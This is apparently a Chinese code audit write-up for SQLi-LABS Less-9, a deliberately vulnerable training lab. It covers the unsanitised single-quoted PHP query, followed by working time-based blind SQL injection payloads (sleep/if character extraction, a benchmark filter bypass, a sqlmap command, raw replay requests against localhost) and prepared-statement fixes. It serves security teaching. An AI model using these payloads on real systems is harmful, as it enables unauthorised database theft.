Less-9 代码审计报告:GET 时间盲注(单引号)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-9/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-9/index.php

// 第 19-21 行:直接取 GET 参数
if(isset($_GET['id']))
{
$id=$_GET['id'];

// 第 30 行:单引号字符串拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

// 第 34-40 行:成功分支显示 "You are in..........."
if($row)
{
  echo '<font size="5" color="#FFFF00">';
  echo 'You are in...........';
  ...
}
// 第 41-51 行:失败分支同样显示 "You are in..........." ← 关键!
else 
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';        ← 第 45 行:与成功分支输出相同
//print_r(mysql_error());             ← 第 46 行:注释
//echo "You have an error in your SQL syntax";

关键漏洞点:

• 第 21 行:$id=$_GET['id']; 未过滤。
• 第 30 行:WHERE id='$id' 单引号拼接。
• 第 37 行 / 第 45 行:真假两个分支都输出 "You are in………..",布尔盲注无法区分,只能借助 sleep()/benchmark() 的时间差进行时间盲注。

3. 漏洞分析

• 输入来源:$_GET['id'],未过滤。
• SQL 拼接位置:WHERE id='$id' LIMIT 0,1。
• 闭合方式:单引号 '。
• 是否回显:
  • 无数据回显、无报错回显(第 46 行 print_r 注释);
  • 无布尔差异(第 45 行失败分支也输出相同文案)。
  • 唯一可观测通道是执行耗时。利用 sleep(5) 或 benchmark(10000000,md5(1)) 使条件为真时延迟,通过响应时间判断布尔条件。
• 防护情况:无过滤、无参数化。

4. 利用方式

步骤一:确认时间盲注

?id=1' and sleep(5)-- -   → 响应延迟约 5 秒
?id=1' and sleep(0)-- -   → 立即响应

请求耗时出现明显差异 → 确认时间盲注点。

步骤二:条件延迟判断(核心 Payload)

-- 若当前库名 = 'security' 则延迟 5 秒
1' and if((select database())='security',sleep(5),1)-- -
-- 判断库名长度
1' and if(length(database())=8,sleep(5),1)-- -
-- 逐字符猜解库名
1' and if(substring((select database()),1,1)='s',sleep(5),1)-- -
-- 猜 users 表第 1 个用户名首字符
1' and if(substring((select username from users limit 0,1),1,1)='D',sleep(5),1)-- -

预期结果:条件为真时请求耗时 ≈ 5 秒,为假时 ≈ 0 秒。遍历字符集即可还原数据(建议脚本自动化)。

步骤三:进阶

• 使用 sleep() 外的 benchmark(10000000,sha1('x')) 规避某些对 sleep 的过滤。
• sqlmap 可直接自动化:

  sqlmap -u "http://127.0.0.1/sqli-labs/Less-9/?id=1" --technique=T --batch --dbs
  

5. Yakit 重放数据包

GET /sqli-labs/Less-9/?id=1%27%20and%20sleep(5)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

条件延迟判断报文:

GET /sqli-labs/Less-9/?id=1%27%20and%20if((select%20database())%3D%27security%27,sleep(5),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

说明:%27='、%20=空格、%3D==、--%20-=-- -。Yakit 中开启计时,观察请求耗时判断真/假。

6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• 强制整型校验:if (!ctype_digit($_GET['id'])) { die('Invalid ID'); }。
• 参数化后 sleep/if 均失效,时间盲注根除。
• 关闭 display_errors、统一错误响应;数据库账号最小权限。
• 升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。